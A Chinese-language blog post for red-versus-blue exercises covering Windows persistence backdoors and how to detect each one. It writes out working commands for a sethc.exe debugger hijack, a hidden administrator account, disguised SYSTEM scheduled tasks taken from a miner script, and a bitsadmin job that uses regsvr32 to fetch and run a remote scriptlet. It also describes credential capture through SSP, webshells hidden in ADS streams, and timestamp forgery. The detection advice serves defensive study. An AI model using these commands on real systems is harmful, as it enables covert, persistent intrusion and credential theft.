Windows 关键文件安全性排查(红蓝对抗)

参考文章

系统工具替换后门

排查:autoruns 工具,下载地址: Autoruns for Windows v13.98
此后门易被检测
类似可被替换的程序有:

  • osk.exe
  • Narrator.exe
  • Magnify.exe

[[utilman]]辅助工具管理器

![[utilman]]

sethc.exe 轻松使用

经典的 shift 后门

修改注册表 HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Optionssethc.exe,添加一个 Debugger 字符值(REG_SZ),并且赋值为 cmd.exe 的执行路径为 C: \\windows\\system32\\cmd.exe

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f

这里有更高阶的使用方法,且不会被 autoruns 检测到: 打造不一样的 Shfit 映像劫持后门

后门账号

  • 创建克隆 administrator 账号,且通过命令 net user 以及控制面板中的管理账户无法看到。

![[powershell#用户]]
1.创建后门用户

1
2
3
net user defaultuser0$ somepasswordhere /add /y
net localgroup administrators defaultuser0$ /add
net localgroup "remote desktop users" defaultuser0$ /add

2.之后将 administrator 用户对应的 Users 中的 F 值复制替换后门账户的 F 值

3.导出 User 下面的后门账户以及 name 下面的后门账户两个文件。

4.通过命令删除刚才的后门用户

1
net user defaultuser0$ /del

5.通过注册表导入刚才保存的两个注册表

明文账号记录

  • 安全支持提供程序(SSP)是 Windows API,用于扩展 Windows 身份验证机制。 LSASS 进程在 Windows 启动期间加载安全支持提供程序 DLL。这个时候攻击者可以将精心构造的 dll 加载之,这个 dll 可获取到 lsass 进程中的明文账号密码信息。mimikatz(mimilib.dll 或 memssp 内存补丁方式)实现了这一功能,并把记录到的明文账号密码信息保存在本地。
  • 详见文章 Persistence – Security Support Provider

文件隐藏

attrib 命令隐藏

  • windows 自带命令行工具 attrib 用来显示或更改文件属性。

  • 优点:简单
  • 缺点:暂无
  • 排查:使用 attrib 命令或者 D 盾

使用 ADS 流隐藏 webshell

ADS 即 NTFS 文件流

  • 使用 ADS 流隐藏 webshell,目前可过 D 盾扫描,注意 ADS 的一句话木马无法直接连接,可以使用 php 的 include 去包含执行


1
2
3
4
5
6
$(Get-Item ).creationtime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastaccesstime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
$(Get-Item ).lastwritetime=$(Get-Date "mm/dd/yyyy hh:mm am/pm")
example:
Set the last-access time for a file aaa.csv to the current time: $(Get-Item aaa.csv).lastwritetime=$(Get-Date)
Set the creation time of a file foo.txt to November 24, 2015, at 6:00am: $(Get-Item foo.txt).creationtime=$(Get-Date "11/24/2015 06:00 am")
  • 优点:较难检测
  • 缺点:暂无
  • 排查: dir /r

计划任务

  • schtasks 和 at 命令,例如下面的命令
1
2
3
4
5
6
7
8
9
10
11
12
#from https://github.com/diggles9991/MG/blob/master/XMR/Hook.ps1#L12
# Update scheduled Start Task
SCHTASKS /Delete /tn "AdobeReaderUpdate" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdate" /sc Weekly /d * /st 18:00:00 /tr "powershell.exe C:\Windows\System32\drivers\en-US\etc\Line.ps1"

# Update scheduled End Task
# SCHTASKS /Delete /tn "AdobeReaderUpdateEnd" /f
SCHTASKS /Create /RU "SYSTEM" /tn "AdobeReaderUpdateEnd" /sc Weekly /d MON,TUE,WED,THU,FRI /st 06:00:00 /tr "powershell.exe Stop-Process -Name $processname"

# At command
at 1:00AM /Every:Saturday My_BackUp.bat
在每个Saturday的早上1:00点,定时启动My_BackUp.bat批处理文件。
  • 优点:简单
  • 缺点:易被检测
  • 排查: schtasks /query 命令进行查询或者通过计算机的管理查看,注意在 windows 的中文版系统中,schtasks 命令需要切换字符为美国英语格式,使用命令 chcp 437,或者直接工具 autoruns。

开机启动项

1
2
3
4
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

  • 优点:重启权限维持
  • 缺点:一般杀软均会拦截
  • 排查:一个一个手工查太麻烦,建议直接上 autoruns。
  • 20191022 更新
  • 利用 windows 原生 API 去创建 regedit.exe 不能展示和导出的键值对
  • 详见文章 invisible Reg Values ,缺点只是通过regedit.exe查看时候有隐藏效果,通过autoruns等工具还是会被发现。

服务

1
sc create [ServerName] binPath= BinaryPathName
  • 优点:重启权限维持
  • 缺点:一般杀软会拦截
  • 排查:工具 autoruns

waitfor.exe

  • 不支持自启动,但可远程主动激活,后台进程显示为 waitfor.exe

详细参考

  • 优点:远程主动激活
  • 缺点:有 waitfor 进程
  • 排查:通过 Process Explorer 工具查看是否有 waitfor.exe 进程,并进一步查看启动参数等。

bitsadmin 后门

  • Bitsadmin 从 win7 之后操作系统就默认包含,可以用来创建上传或者下载任务。Bistadmin 可以指定下载成功之后要进行什么命令。后门就是利用的下载成功之后进行命令执行。
1
2
3
4
5
6
7
8
#创建一个下载任务:
bitsadmin /create backdoor
#添加文档:
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
#设置下载成功之后要执行的命令:
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
#执行任务:
bitsadmin /Resume backdoor
  • 可以参考这篇文章

bitsadmin-backdoor-权限维持后门

  • 优点:系统自带无需上传
  • 缺点:免杀效果一般
  • 排查:bitsadmin /list /verbose

WMI 后门(重点!)

  • 在 2015 年的 blackhat 大会上 Matt Graeber 介绍了一种无文件后门就是用的 wmi。 更多可以参考
  • 在 empire 中有相应的 module,作者参考使用了 Powersploit 里面的代码。


  • 后门在系统重启五分钟之内触发且是 system 权限。
  • 优点:无文件,相对来说难以排查
  • 缺点:暂无
  • 排查:工具 autoruns

COM 劫持

meterpreter 权限维持

  • meterpreter 中的权限维持技术有两种,一种是 metsvc 的后门(服务后门),另外一种是 persistence(注册表后门)
  • metsvc 是开机自启动的服务型后门

  • metsvc 代码

  • persistence 模块是先上传 vbs 脚本并执行 vbs 脚本修改注册表 HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 从而完成自启动。

  • persistence 代码

  • 优点:开机自启动

  • 缺点:容易被杀软杀

  • 排查:像是这种后门使用 autoruns 基本都可以排查出来。

Empire persistence 模块(重点!!)

  • Empire 是一款功能非常强大的后渗透攻击框架。其中的 persistence 模块提供了一系列权限维持方法。
  • 工具还把权限维持分为了四大类,userland(普通权限)、elevated(需要高权限)、powerbreach(内存权限维持,重启后失效)、miscellaneous(其它)。

  • 通过 info 命令查看使用方法

  • 更多可以参考文章
  • 优点:基本集成了大部分的权限维持方法
  • 缺点:暂无
  • 排查:工具 autoruns

进程注入(重点!!)

  • 准确来说进程注入不是后门技术或者权限维持技术,而是一种隐藏技术,这里简单说一下 empire 的 psinject、cobaltstrike 的 inject 和 meterpreter 中的 migrate 进程注入,一般可以注入到像是 lsass 或者 explorer 这样的进程当中,相对比较隐蔽,较难排查。
  • 使用方法这里就不介绍了,主要说一下如何 hunting。这篇文章 TALES OF A BLUE TEAMER: DETECTING POWERSHELL EMPIRE SHENANIGANS WITH SYSINTERNALS 里面介绍了如何hunting empire方法,empire有一些evasion detection机制,其中的网络连接时间设置能有效避开常见主机流量检测工具(包括netstat、tcpview)的检测,文章中也介绍了使用process monitor是最快也是最有效的方法。

  • 但是在 hunting 进程注入的时候,并没有像文章中说的查找到以起始地址为 0x0 的线程,但会发现被注入的进程属性里会有.NET Assemblies 和.NET Performance 两个菜单。如下图所示

  • 优点:较难排查
  • 缺点:暂无
  • 排查:工具 process explorer 、process monitor

BDF 后门

Kali Linux: Backdoor-factory tool

  • 当拿到内网权限之后,可以在存放公共下载的服务器上给某个软件加上这样的后门。

IIS 模块后门

手把手带你开发一款 IIS 模块后门

[[域]]环境后门

other

  • 除了以上的几种后门和权限维持技术外还有像是 dll 劫持、一些软件的插件后门、office 后门等。

Windows 关键文件安全性排查(红蓝对抗)

https://resek4.github.io/2021/05/12/Windows后门及排查/

Author

Resek4

Posted on

2021-05-12

Updated on

2023-02-26

Licensed under

Comments